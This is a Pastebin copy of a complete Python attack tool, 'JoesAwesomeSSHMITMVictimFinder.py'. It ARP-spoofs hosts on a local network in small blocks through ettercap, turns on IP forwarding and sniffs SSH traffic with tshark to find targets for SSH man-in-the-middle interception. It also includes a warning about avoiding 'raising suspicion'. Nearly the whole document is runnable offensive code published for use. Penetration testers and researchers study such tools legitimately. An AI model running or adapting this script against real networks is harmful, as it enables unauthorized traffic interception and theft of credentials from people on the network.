Advertisement
FlyFar

JoesAwesomeSSHMITMVictimFinder.py

Aug 12th, 2023
903
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 20.00 KB | Cybersecurity | 0 0
  1. #!/usr/bin/python3
  2. #
  3. # JoesAwesomeSSHMITMVictimFinder.py
  4. # Copyright (C) 2017  Joe Testa <jtesta@positronsecurity.com>
  5. #
  6. # This program is free software: you can redistribute it and/or modify
  7. # it under the terms version 3 of the GNU General Public License as
  8. # published by the Free Software Foundation.
  9. #
  10. # This program is distributed in the hope that it will be useful,
  11. # but WITHOUT ANY WARRANTY; without even the implied warranty of
  12. # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  13. # GNU General Public License for more details.
  14. #
  15. # You should have received a copy of the GNU General Public License
  16. # along with this program.  If not, see <http://www.gnu.org/licenses/>.
  17. #
  18. #
  19. # Version: 1.0
  20. # Date:    June 28, 2017
  21. #
  22. #
  23. # This tool ARP spoofs the LAN in small chunks and looks for existing SSH
  24. # connections.  This makes finding victims for SSH man-in-the-middling very
  25. # easy (see https://github.com/jtesta/ssh-mitm).
  26. #
  27. # Install prerequisites with:
  28. # apt install nmap ettercap-text-only tshark python3-netaddr python3-netifaces
  29. #
  30.  
  31. # Built-in modules.
  32. import argparse, importlib, ipaddress, os, signal, subprocess, sys, tempfile
  33. from time import sleep
  34.  
  35. # Python3 is required.
  36. if sys.version_info.major < 3:
  37.     print('Error: Python3 is required.  Re-run using python3 interpreter.')
  38.     exit(-1)
  39.  
  40. # Check if the netaddr and netifaces modules can be imported.  Otherwise, print
  41. # a useful message to the user with how to install them.
  42. old_netifaces = False
  43. try:
  44.     import netaddr, netifaces
  45.  
  46.     # Check if we're using an old version of netifaces (used in Ubuntu 14 and
  47.     # Linux Mint 17).  If so, the user will need to specify the gateway
  48.     # manually.
  49.     if (netifaces.version.startswith('0.8')):
  50.         old_netifaces = True
  51. except ImportError as e:
  52.     print("The Python3 netaddr and/or netifaces module is not installed.  Fix with:  apt install python3-netaddr python3-netifaces")
  53.     exit(-1)
  54.  
  55.  
  56. ettercap_proc = None
  57. tshark_proc = None
  58. forwarding_was_off = None
  59.  
  60. verbose = False
  61. debug = False
  62.  
  63. # The overall findings, printed upon program termination.
  64. total_local_clients = []
  65. total_local_servers = []
  66.  
  67.  
  68. # Debug logging.
  69. def d(msg):
  70.     if debug:
  71.         print(msg, flush=True)
  72.  
  73.  
  74. # Verbose logging.
  75. def v(msg):
  76.     if verbose:
  77.         print(msg, flush=True)
  78.  
  79.  
  80. # Always print.
  81. def p(msg=''):
  82.     print(msg, flush=True)
  83.  
  84.  
  85. # Captures control-C interruptions and gracefully terminates tshark and
  86. # ettercap.
  87. def signal_handler(signum, frame):
  88.     global ettercap_proc, tshark_proc, forwarding_was_off
  89.  
  90.     d('Signal handler called.')
  91.     p("\nShutting down ettercap and tshark gracefully.  Please wait...")
  92.  
  93.     # tshark can just be terminated.
  94.     if tshark_proc is not None:
  95.         d('Sending tshark SIGTERM...')
  96.         tshark_proc.terminate()
  97.  
  98.     # ettercap, however, needs to be shut down gracefully so it can re-ARP
  99.     # victims.
  100.     if ettercap_proc is not None:
  101.         d('Telling ettercap to shut down gracefully...')
  102.         try:
  103.             ettercap_proc.communicate("q\n".encode('ascii'))
  104.         except ValueError as e:
  105.             # It is possible that the main thread already called communicate(),
  106.             # to terminate the process, so calling it again causes an exception.
  107.             # In this case, just wait for it to terminate.
  108.             pass
  109.  
  110.     # Wait up to 20 seconds for tshark to terminate, then print its return code
  111.     # to the debug log.
  112.     if tshark_proc is not None:
  113.         try:
  114.             retcode = tshark_proc.wait(20)
  115.             tshark_proc = None
  116.             d('tshark terminated with return code %d' % retcode)
  117.         except subprocess.TimeoutExpired as e:
  118.             p('WARNING: tshark did not terminate after 20 seconds!  Sending SIGKILL...')
  119.             pass
  120.  
  121.     # tshark survived more than 20 seconds after a SIGTERM, so now send it
  122.     # SIGKILL and wait up to 10 more seconds.
  123.     if tshark_proc is not None:
  124.         try:
  125.             tshark_proc.kill()
  126.             retcode = tshark_proc.wait(10)
  127.             tshark_proc = None
  128.             d('After SIGKILL, tshark terminated with return code %d' % retcode)
  129.         except subprocess.TimeoutExpired as e:
  130.             p('ERROR: tshark did not terminate after 10 seconds, even with SIGKILL.  Try manually killing it (process ID %d).' % tshark_proc.pid)
  131.             pass
  132.  
  133.     # Wait up to 20 seconds for ettercap to quit after telling it to.
  134.     if ettercap_proc is not None:
  135.         try:
  136.             retcode = ettercap_proc.wait(20)
  137.             ettercap_proc = None
  138.             d('ettercap terminated with return code %d' % retcode)
  139.         except subprocess.TimeoutExpired as e:
  140.             pass
  141.  
  142.     # ettercap survived more than 20 seconds after a SIGTERM, so now send it
  143.     # SIGKILL and wait up to 10 more seconds.
  144.     if ettercap_proc is not None:
  145.         d('WARNING: ettercap did not exit gracefully after requesting it to quit.  Now sending it SIGKILL...')
  146.         ettercap_proc.kill()
  147.         try:
  148.             retcode = ettercap_proc.wait(10)
  149.             ettercap_proc = None
  150.             d('ettercap terminated with return code %d' % retcode)
  151.         except subprocess.TimeoutExpired as e:
  152.             p('ERROR: ettercap did not terminate after 10 seconds, even with SIGKILL.  Try manually killing it (process ID %d).' % ettercap_proc.pid)
  153.             pass
  154.  
  155.     # If IP forwarding was off before this script was launched, disable it
  156.     # before terminating.
  157.     if forwarding_was_off is True:
  158.         v('IP forwarding was off before.  Disabling it now...')
  159.         enable_ip_forwarding(False)
  160.  
  161.  
  162.     # Print all the IPs found.
  163.     p()
  164.     if len(total_local_clients) > 0:
  165.         p("\nTotal local clients:")
  166.         for tup in total_local_clients:
  167.             p('  * %s -> %s:22' % (tup[0], tup[1]))
  168.         p()
  169.     else:
  170.         p('No local clients found.  :(')
  171.  
  172.     if len(total_local_servers) > 0:
  173.         p("\nTotal local servers:")
  174.         for tup in total_local_servers:
  175.             p('  * %s -> %s:22' % (tup[1], tup[0]))
  176.         p()
  177.  
  178.     exit(0)
  179.  
  180.  
  181. # Ensure that nmap, ettercap, and tshark are all installed, and we are running
  182. # as root.  Terminates otherwise.
  183. def check_prereqs():
  184.     missing_progs = []
  185.     if not find_prog(['nmap', '-V']):
  186.         missing_progs.append('nmap')
  187.  
  188.     if not find_prog(['ettercap', '-v']):
  189.         missing_progs.append('ettercap-text-only')
  190.  
  191.     if not find_prog(['tshark', '-v']):
  192.         missing_progs.append('tshark')
  193.  
  194.     if len(missing_progs) > 0:
  195.         missing_progs_str = ' '.join(missing_progs)
  196.         p("Error: the following pre-requisite programs are missing: %s\n\nInstall them with:  apt install %s" % (missing_progs_str, missing_progs_str))
  197.         exit(-1)
  198.  
  199.     # We must be running as root for ettercap to work.
  200.     if os.geteuid() != 0:
  201.         p("Error: you must run this script as root.")
  202.         exit(-1)
  203.  
  204.     # Check if there are existing PREROUTING NAT rules enabled, and warn the
  205.     # user of potential side-effects.
  206.     try:
  207.         hProc = subprocess.Popen(['iptables', '-t', 'nat', '-nL', 'PREROUTING'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.DEVNULL)
  208.         so, se = hProc.communicate()
  209.         prerouting_output = so.decode('ascii')
  210.  
  211.         # Output with no rules has two lines.
  212.         if prerouting_output.count("\n") > 2:
  213.             p("\nWARNING: it appears that you have entries in your PREROUTING NAT table.  Searching for SSH connections on the LAN with this script while PREROUTING rules are enabled may have unintended side-effects.  The output of 'iptables -t nat -nL PREROUTING' is:\n\n%s\n\n" % prerouting_output)
  214.     except FileNotFoundError as e:
  215.         p('Warning: failed to run iptables.  Continuing...')
  216.         pass
  217.  
  218.  
  219. # Returns True if a program is installed on the system, otherwise False.
  220. def find_prog(prog_args):
  221.     prog_found = False
  222.     try:
  223.         hProc = subprocess.Popen(prog_args, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.DEVNULL)
  224.         s, e = hProc.communicate()
  225.         prog_found = True
  226.     except FileNotFoundError as e:
  227.         pass
  228.  
  229.     return prog_found
  230.  
  231.  
  232. # Returns True if IP forwarding is enabled, otherwise False.
  233. def get_ip_forward_settings():
  234.     ipv4_setting = None
  235.  
  236.     with open('/proc/sys/net/ipv4/ip_forward', 'r') as f:
  237.         ipv4_setting = f.read().strip()
  238.  
  239.     return ipv4_setting.strip() == '1'
  240.  
  241.  
  242. # Enables or disables IP forwarding.  If it was disabled prior to calling this
  243. # function, returns True (helpful for knowing if it needs to be turned back off
  244. # later).
  245. def enable_ip_forwarding(flag):
  246.     old_ipv4_setting = get_ip_forward_settings()
  247.  
  248.     if flag and not old_ipv4_setting:
  249.         with open('/proc/sys/net/ipv4/ip_forward', 'w') as f:
  250.             f.write('1')
  251.  
  252.     if not flag and old_ipv4_setting:
  253.         with open('/proc/sys/net/ipv4/ip_forward', 'w') as f:
  254.             f.write('0')
  255.  
  256.     # Enable or disable forwarding in the firewall, as appropriate.
  257.     if flag:
  258.         subprocess.call("iptables -P FORWARD ACCEPT", shell=True)
  259.     else:
  260.         subprocess.call("iptables -P FORWARD DROP", shell=True)
  261.  
  262.     current_ipv4_setting = get_ip_forward_settings()
  263.     if current_ipv4_setting != flag:
  264.         raise RuntimeError('Failed to set IP forwarding setting!: %r %r' % (current_ipv4_setting, flag))
  265.  
  266.     return old_ipv4_setting == False
  267.  
  268.  
  269. # Runs nmap to get the devices on the LAN that are alive (using ARP pings).
  270. def get_lan_devices(network, gateway, ignore_list):
  271.     ret = []
  272.     fd, temp = tempfile.mkstemp()
  273.     os.close(fd)
  274.  
  275.     hNmap = subprocess.Popen(['nmap', '-n', '-oG=%s' % temp, '-sn', '-PR', network], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, stdin=subprocess.DEVNULL)
  276.  
  277.     try:
  278.         hNmap.wait(30)
  279.     except subprocess.TimeoutExpired as e:
  280.         p('Nmap ARP ping took longer than 30 seconds.  Terminating...')
  281.         exit(-1)
  282.  
  283.     nmap_output = ''
  284.     with open(temp, 'r') as f:
  285.         nmap_output = f.readlines()
  286.  
  287.     # Delete nmap's output file.
  288.     if os.path.exists(temp):
  289.         os.remove(temp)
  290.  
  291.     for line in nmap_output:
  292.         tokens = line.split()
  293.         if tokens[0] == 'Host:':
  294.            ret.append(tokens[1])
  295.  
  296.     # Remove the gateway from the list of live devices.
  297.     if gateway in ret:
  298.         ret.remove(gateway)
  299.  
  300.     # Remove the entries of the ignore_list from the list of live devices.
  301.     for ip in ignore_list:
  302.         if ip in ret:
  303.             ret.remove(ip)
  304.  
  305.     return ret
  306.  
  307.  
  308. # Splits a list of devices into blocks of size "block_size".
  309. def blocketize_devices(devices, block_size):
  310.     device_blocks = []
  311.     device_block = []
  312.     i = 0
  313.     for device in devices:
  314.         device_block.append(device)
  315.         i += 1
  316.  
  317.         if (i >= block_size) or (devices.index(device) == (len(devices) - 1)) :
  318.             i = 0
  319.             device_blocks.append(device_block)
  320.             device_block = []
  321.  
  322.     return device_blocks
  323.  
  324.  
  325. def arp_spoof_and_monitor(interface, local_addresses, gateway, device_block, listen_time):
  326.     global ettercap_proc, tshark_proc
  327.  
  328.     # Run tshark with an SSH filter.
  329.     tshark_args = ['tshark', '-i', interface, '-T', 'fields', '-e', 'ip.src', '-e', 'ip.dst', '-e', 'tcp.port']
  330.  
  331.     # Exclude packets to or from the local machine.
  332.     if len(local_addresses) > 0:
  333.         tshark_args.extend(['-f', 'port 22 and not(host %s)' % ' or host '.join(local_addresses)])
  334.     else:
  335.         tshark_args.extend(['-f', 'port 22'])
  336.  
  337.     d('Running tshark: %s' % ' '.join(tshark_args))
  338.     tshark_proc = subprocess.Popen(tshark_args, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, stdin=subprocess.DEVNULL)
  339.  
  340.     # ARP spoof the block of devices and gateway.
  341.     ettercap_args = ['ettercap', '-i', interface, '-T', '-M', 'arp', '/%s//' % gateway, '/%s//' % ','.join(device_block)]
  342.     d('Running ettercap: %s' % ' '.join(ettercap_args))
  343.     ettercap_proc = subprocess.Popen(ettercap_args, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  344.  
  345.     # Sleep for the specified number of seconds while tshark gathers info.
  346.     d('Sleeping for %d seconds...' % listen_time)
  347.     sleep(listen_time)
  348.  
  349.     # Stop tshark.
  350.     tshark_proc.terminate()
  351.  
  352.     # Send 'q' and a newline to tell ettercap to quit gracefully.
  353.     so, se = ettercap_proc.communicate("q\n".encode('ascii'))
  354.  
  355.     # Get the output from the terminated tshark process.
  356.     so, se = tshark_proc.communicate()
  357.     lines = so.decode('ascii').split("\n")
  358.  
  359.     local_clients = []
  360.     local_servers = []
  361.  
  362.     # Each line is in the following format:
  363.     # 10.x.x.x\t174.x.x.x\t38564,22
  364.     for line in lines:
  365.        if line == '':
  366.            continue
  367.  
  368.        fields = line.split("\t")
  369.        ip1 = fields[0]
  370.        ip2 = fields[1]
  371.  
  372.        ports = fields[2].split(',')
  373.        port1 = ports[0]
  374.        port2 = ports[1]
  375.  
  376.        local_client = None
  377.        local_server = None
  378.        remote_client = None
  379.        remote_server = None
  380.        if (ip1 in device_block) and (port2 == '22'):
  381.            local_client = ip1
  382.            remote_server = ip2
  383.        elif (ip2 in device_block) and (port1 == '22'):
  384.            local_client = ip2
  385.            remote_server = ip1
  386.        elif (ip1 in device_block) and (port1 == '22'):
  387.            local_server = ip1
  388.            remote_client = ip2
  389.        elif (ip2 in device_block) and (port2 == '22'):
  390.            local_server = ip2
  391.            remote_client = ip1
  392.        else:
  393.            p('Strange tshark output found: [%s]' % line)
  394.            p("\tdevice block: [%s]" % ",".join(device_block))
  395.            continue
  396.  
  397.        # Look for outgoing connections.
  398.        if (local_client is not None) and (remote_server is not None):
  399.            tup = (local_client, remote_server)
  400.            if tup not in local_clients:
  401.                local_clients.append(tup)
  402.        # Look for incoming connections (implying a server is running on the
  403.        # LAN).
  404.        elif (local_server is not None) and (remote_client is not None):
  405.            tup = (local_server, remote_client)
  406.            if tup not in local_servers:
  407.                local_servers.append(tup)
  408.  
  409.     if len(local_clients) == 0 and len(local_servers) == 0:
  410.        v('No SSH connections found.')
  411.  
  412.     if len(local_clients) > 0:
  413.        p("\nLocal clients:")
  414.        for tup in local_clients:
  415.            p('  * %s -> %s:22' % (tup[0], tup[1]))
  416.        p()
  417.        total_local_clients.extend(x for x in local_clients if x not in total_local_clients)
  418.  
  419.     if len(local_servers) > 0:
  420.        p("\nLocal servers:")
  421.        for tup in local_servers:
  422.            p('  * %s -> %s:22' % (tup[1], tup[0]))
  423.        p()
  424.        total_local_servers.extend(x for x in local_servers if x not in total_local_servers)
  425.  
  426.  
  427. if __name__ == '__main__':
  428.     check_prereqs()
  429.  
  430.     parser = argparse.ArgumentParser()
  431.     required = parser.add_argument_group('required arguments')
  432.     required.add_argument('--interface', help='the network interface to listen on', required=True)
  433.     parser.add_argument('--block-size', help='the number of IPs to ARP spoof at a time (default: 5)', default=5)
  434.     parser.add_argument('--listen-time', help='the number of seconds to listen for SSH activity (default: 20)', default=20)
  435.     parser.add_argument('--ignore-ips', help='the IPs to ignore.  Can be space or comma-delimited', nargs='+', default=[])
  436.     parser.add_argument('--one-pass', help='perform one pass of the network only, instead of looping', action='store_true')
  437.     parser.add_argument('-v', '--verbose', help='enable verbose messages', action='store_true')
  438.     parser.add_argument('-d', '--debug', help='enable debugging messages', action='store_true')
  439.  
  440.     # If we loaded an old netifaces module, the user must specify the gateway
  441.     # manually.
  442.     if old_netifaces:
  443.         required.add_argument('--gateway', help='the network gateway', required=True)
  444.  
  445.     args = vars(parser.parse_args())
  446.  
  447.  
  448.     # The network interface to use.
  449.     interface = args['interface']
  450.  
  451.     # A list of IPs to ignore.
  452.     ignore_list = args['ignore_ips']
  453.  
  454.     # If the user specified the ignore list as "--ignore-ips 1.1.1.1,2.2.2.2",
  455.     # parse them out into a list.
  456.     if len(ignore_list) == 1:
  457.         ips = ignore_list[0]
  458.         if ips.find(',') != -1:
  459.             ignore_list = ips.split(',')
  460.  
  461.     # Ensure IPs are in a valid form.
  462.     for ip in ignore_list:
  463.         try:
  464.             ipaddress.ip_address(ip)
  465.         except ValueError as e:
  466.             p('Error: %s is not a valid IP address.' % ip)
  467.             exit(-1)
  468.  
  469.     # Parse the interface arg.
  470.     addresses = None
  471.     try:
  472.         addresses = netifaces.ifaddresses(interface)
  473.     except ValueError as e:
  474.         p('Error parsing interface: %s' % str(e))
  475.         exit(-1)
  476.  
  477.     # Add our address(es) to the ignore list.
  478.     local_addresses = []
  479.     if netifaces.AF_INET in addresses:
  480.         for net_info in addresses[netifaces.AF_INET]:
  481.             address = net_info['addr']
  482.             p("Found local address %s and adding to ignore list." % address)
  483.             local_addresses.append(address)
  484.             ignore_list.append(address)
  485.  
  486.     if len(local_addresses) == 0:
  487.         p("Error: failed to get the IP address for interface %s" % interface)
  488.         exit(-1)
  489.  
  490.     # Get the CIDR format of our network.
  491.     net_info = addresses[netifaces.AF_INET][0]
  492.     net_cidr = str(netaddr.IPNetwork('%s/%s' % (net_info['addr'], net_info['netmask'])))
  493.     p("Using network CIDR %s." % net_cidr)
  494.  
  495.     # Get the default gateway.
  496.     if old_netifaces:
  497.         gateway = args['gateway']
  498.     else:
  499.         gateway = netifaces.gateways()['default'][netifaces.AF_INET][0]
  500.     p("Found default gateway: %s" % gateway)
  501.  
  502.     # The number of IPs in the LAN to ARP spoof at a time.  This should be a
  503.     # relatively low number, as spoofing too many clients at a time can cause
  504.     # noticeable slowdowns.
  505.     block_size = int(args['block_size'])
  506.  
  507.     # The number of seconds to sniff a MITMed block of clients before moving on
  508.     # to the next block.
  509.     listen_time = int(args['listen_time'])
  510.  
  511.     # If True, only one pass is done over the clients in the network.
  512.     # Otherwise, it will loop indefinitely.
  513.     one_pass = args['one_pass']
  514.  
  515.     # Flags to control verbose and debug outputs.
  516.     verbose = args['verbose']
  517.     debug = args['debug']
  518.  
  519.     p('IP blocks of size %d will be spoofed for %d seconds each.' % (block_size, listen_time))
  520.     if len(ignore_list) > 0:
  521.         p('The following IPs will be skipped: %s' % ' '.join(ignore_list))
  522.     if one_pass:
  523.         p('The network will be scanned in only one pass.')
  524.     p("\n")
  525.  
  526.     # If the user raised the block size to 10 or greater, warn them about the
  527.     # potential consequences.
  528.     if block_size >= 10:
  529.         p("WARNING: setting the block size too high will cause strain on your network interface.  Eventually, your interface will start dropping frames, causing a network denial-of-service and greatly raising suspicion.  However, raising the block size is safe on low-utilization networks.  You better know what you're doing!\n")
  530.  
  531.     # Enable the signal handlers so that ettercap and tshark gracefully shut
  532.     # down on CTRL-C.
  533.     signal.signal(signal.SIGINT, signal_handler)
  534.     signal.signal(signal.SIGTERM, signal_handler)
  535.  
  536.     forwarding_was_off = enable_ip_forwarding(True)
  537.     while True:
  538.  
  539.         v('Discovering devices on LAN via ARP ping...')
  540.         devices = get_lan_devices(net_cidr, gateway, ignore_list)
  541.         d('%d devices discovered: %s' % (len(devices), ", ".join(devices)))
  542.  
  543.         # Arrange the devices into groups of size "block_size".
  544.         device_blocks = blocketize_devices(devices, block_size)
  545.  
  546.         # ARP spoof and monitor each block.
  547.         for device_block in device_blocks:
  548.             arp_spoof_and_monitor(interface, local_addresses, gateway, device_block, listen_time)
  549.  
  550.         # If we are only supposed to do one pass, then stop now.
  551.         if one_pass:
  552.             break
  553.  
  554.     # If IP forwarding was off before we started, turn it off now.
  555.     if forwarding_was_off:
  556.         enable_ip_forwarding(False)
  557.  
  558.     p('Single pass complete.')
  559.     exit(0)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement